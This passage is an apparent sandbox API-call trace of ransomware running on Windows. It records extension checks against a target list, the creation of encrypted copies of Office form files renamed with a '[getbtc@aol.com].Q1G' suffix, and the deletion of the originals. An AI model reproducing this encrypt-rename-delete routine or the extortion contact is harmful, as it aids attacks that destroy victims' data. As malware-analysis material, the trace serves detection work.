[0261.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.639] lstrlenW (lpString=".jpg") returned 4 [0261.639] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.639] lstrlenW (lpString=".doc") returned 4 [0261.639] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.648] lstrlenW (lpString=".docx") returned 5 [0261.648] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0261.648] lstrlenW (lpString=".pdf") returned 4 [0261.648] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.652] lstrlenW (lpString=".xls") returned 4 [0261.657] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.658] lstrlenW (lpString=".xlsx") returned 5 [0261.660] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0261.661] lstrlenW (lpString=".ppt") returned 4 [0261.662] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.665] lstrlenW (lpString=".zip") returned 4 [0261.666] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.667] lstrlenW (lpString=".rar") returned 4 [0261.669] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.670] lstrlenW (lpString=".bz2") returned 4 [0261.671] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.673] lstrlenW (lpString=".7z") returned 3 [0261.674] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.677] lstrlenW (lpString=".dbf") returned 4 [0261.677] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.681] lstrlenW (lpString=".1cd") returned 4 [0261.682] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0261.685] lstrlenW (lpString=".jpg") returned 4 [0261.686] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.695] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0261.789] lstrlenW (lpString="DISTLIST.CFG") returned 12 [0261.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.807] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=805) returned 1 [0261.808] CloseHandle (hObject=0x3dc) returned 1 [0261.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg")) returned 0x20 [0261.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.808] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.808] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.810] GetLastError () returned 0x0 [0261.810] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x325, lpOverlapped=0x0) returned 1 [0261.826] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x330, lpOverlapped=0x0) returned 1 [0261.826] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.827] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.827] SetEndOfFile (hFile=0x3e0) returned 1 [0261.827] CloseHandle (hObject=0x3e0) returned 1 [0261.827] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.827] SetEndOfFile (hFile=0x3dc) returned 1 [0261.830] CloseHandle (hObject=0x3dc) returned 1 [0261.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlist.cfg")) returned 1 [0261.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.831] lstrlenW (lpString=".doc") returned 4 [0261.831] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.831] lstrlenW (lpString=".docx") returned 5 [0261.831] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0261.831] lstrlenW (lpString=".pdf") returned 4 [0261.831] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.831] lstrlenW (lpString=".xls") returned 4 [0261.831] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.831] lstrlenW (lpString=".xlsx") returned 5 [0261.831] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0261.831] lstrlenW (lpString=".ppt") returned 4 [0261.831] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.831] lstrlenW (lpString=".zip") returned 4 [0261.831] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.831] lstrlenW (lpString=".rar") returned 4 [0261.831] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.831] lstrlenW (lpString=".bz2") returned 4 [0261.831] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.831] lstrlenW (lpString=".7z") returned 3 [0261.831] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.831] lstrlenW (lpString=".dbf") returned 4 [0261.831] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.832] lstrlenW (lpString=".1cd") returned 4 [0261.832] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.832] lstrlenW (lpString=".jpg") returned 4 [0261.832] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.832] lstrlenW (lpString=".doc") returned 4 [0261.832] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.832] lstrlenW (lpString=".docx") returned 5 [0261.832] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0261.832] lstrlenW (lpString=".pdf") returned 4 [0261.832] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.832] lstrlenW (lpString=".xls") returned 4 [0261.832] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.832] lstrlenW (lpString=".xlsx") returned 5 [0261.832] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0261.832] lstrlenW (lpString=".ppt") returned 4 [0261.832] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.832] lstrlenW (lpString=".zip") returned 4 [0261.832] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.832] lstrlenW (lpString=".rar") returned 4 [0261.832] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.832] lstrlenW (lpString=".bz2") returned 4 [0261.832] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.832] lstrlenW (lpString=".7z") returned 3 [0261.832] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.832] lstrlenW (lpString=".dbf") returned 4 [0261.832] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.832] lstrlenW (lpString=".1cd") returned 4 [0261.832] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLIST.CFG") returned 66 [0261.833] lstrlenW (lpString=".jpg") returned 4 [0261.833] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.833] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0261.833] lstrlenW (lpString="DISTLSTS.ICO") returned 12 [0261.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.833] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=2998) returned 1 [0261.833] CloseHandle (hObject=0x3dc) returned 1 [0261.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico")) returned 0x20 [0261.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.834] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.834] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.834] GetLastError () returned 0x0 [0261.834] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0261.836] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0261.837] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.837] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.837] SetEndOfFile (hFile=0x3e0) returned 1 [0261.837] CloseHandle (hObject=0x3e0) returned 1 [0261.837] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.837] SetEndOfFile (hFile=0x3dc) returned 1 [0261.839] CloseHandle (hObject=0x3dc) returned 1 [0261.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\distlsts.ico")) returned 1 [0261.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.840] lstrlenW (lpString=".doc") returned 4 [0261.840] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.840] lstrlenW (lpString=".docx") returned 5 [0261.840] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.840] lstrlenW (lpString=".pdf") returned 4 [0261.840] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.840] lstrlenW (lpString=".xls") returned 4 [0261.840] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.840] lstrlenW (lpString=".xlsx") returned 5 [0261.840] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.840] lstrlenW (lpString=".ppt") returned 4 [0261.840] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.840] lstrlenW (lpString=".zip") returned 4 [0261.840] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.840] lstrlenW (lpString=".rar") returned 4 [0261.840] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.841] lstrlenW (lpString=".bz2") returned 4 [0261.841] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.841] lstrlenW (lpString=".7z") returned 3 [0261.841] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.841] lstrlenW (lpString=".dbf") returned 4 [0261.841] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.841] lstrlenW (lpString=".1cd") returned 4 [0261.841] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.841] lstrlenW (lpString=".jpg") returned 4 [0261.841] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.841] lstrlenW (lpString=".doc") returned 4 [0261.841] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0261.841] lstrlenW (lpString=".docx") returned 5 [0261.841] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0261.841] lstrlenW (lpString=".pdf") returned 4 [0261.841] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0261.841] lstrlenW (lpString=".xls") returned 4 [0261.841] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0261.841] lstrlenW (lpString=".xlsx") returned 5 [0261.841] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0261.841] lstrlenW (lpString=".ppt") returned 4 [0261.841] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0261.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.841] lstrlenW (lpString=".zip") returned 4 [0261.841] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0261.841] lstrlenW (lpString=".rar") returned 4 [0261.841] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0261.841] lstrlenW (lpString=".bz2") returned 4 [0261.841] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0261.841] lstrlenW (lpString=".7z") returned 3 [0261.841] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0261.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.842] lstrlenW (lpString=".dbf") returned 4 [0261.842] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0261.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.842] lstrlenW (lpString=".1cd") returned 4 [0261.842] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0261.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DISTLSTS.ICO") returned 66 [0261.842] lstrlenW (lpString=".jpg") returned 4 [0261.842] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0261.842] lstrcmpiW (lpString1=".CFG", lpString2=".Q1G") returned -1 [0261.842] lstrlenW (lpString="DOC.CFG") returned 7 [0261.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.842] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=765) returned 1 [0261.842] CloseHandle (hObject=0x3dc) returned 1 [0261.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg")) returned 0x20 [0261.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0261.843] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.843] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0261.844] GetLastError () returned 0x0 [0261.844] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x2fd, lpOverlapped=0x0) returned 1 [0261.845] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x300, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x300, lpOverlapped=0x0) returned 1 [0261.846] ReadFile (in: hFile=0x3dc, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.846] WriteFile (in: hFile=0x3e0, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0261.846] SetEndOfFile (hFile=0x3e0) returned 1 [0261.847] CloseHandle (hObject=0x3e0) returned 1 [0261.847] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.847] SetEndOfFile (hFile=0x3dc) returned 1 [0261.849] CloseHandle (hObject=0x3dc) returned 1 [0261.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.849] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\doc.cfg")) returned 1 [0261.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.851] lstrlenW (lpString=".doc") returned 4 [0261.851] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.851] lstrlenW (lpString=".docx") returned 5 [0261.852] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0261.852] lstrlenW (lpString=".pdf") returned 4 [0261.852] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0261.852] lstrlenW (lpString=".xls") returned 4 [0261.852] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0261.852] lstrlenW (lpString=".xlsx") returned 5 [0261.852] lstrcmpiW (lpString1=".xlsx", lpString2="C.CFG") returned -1 [0261.852] lstrlenW (lpString=".ppt") returned 4 [0261.852] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0261.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.852] lstrlenW (lpString=".zip") returned 4 [0261.852] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0261.852] lstrlenW (lpString=".rar") returned 4 [0261.852] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0261.852] lstrlenW (lpString=".bz2") returned 4 [0261.852] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0261.852] lstrlenW (lpString=".7z") returned 3 [0261.852] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0261.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.852] lstrlenW (lpString=".dbf") returned 4 [0261.852] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0261.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.852] lstrlenW (lpString=".1cd") returned 4 [0261.852] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0261.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.852] lstrlenW (lpString=".jpg") returned 4 [0261.852] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0261.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\DOC.CFG") returned 61 [0261.852] lstrlenW (lpString=".doc") returned 4 [0261.852] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0261.852] lstrlenW (lpString=".docx") returned 5 [0261.852] lstrcmpiW (lpString1=".docx", lpString2="C.CFG") returned -1 [0261.852] lstrlenW (lpString=".pdf") returned 4 [0261.852] lstrcmpiW (lpString1=".pdf", 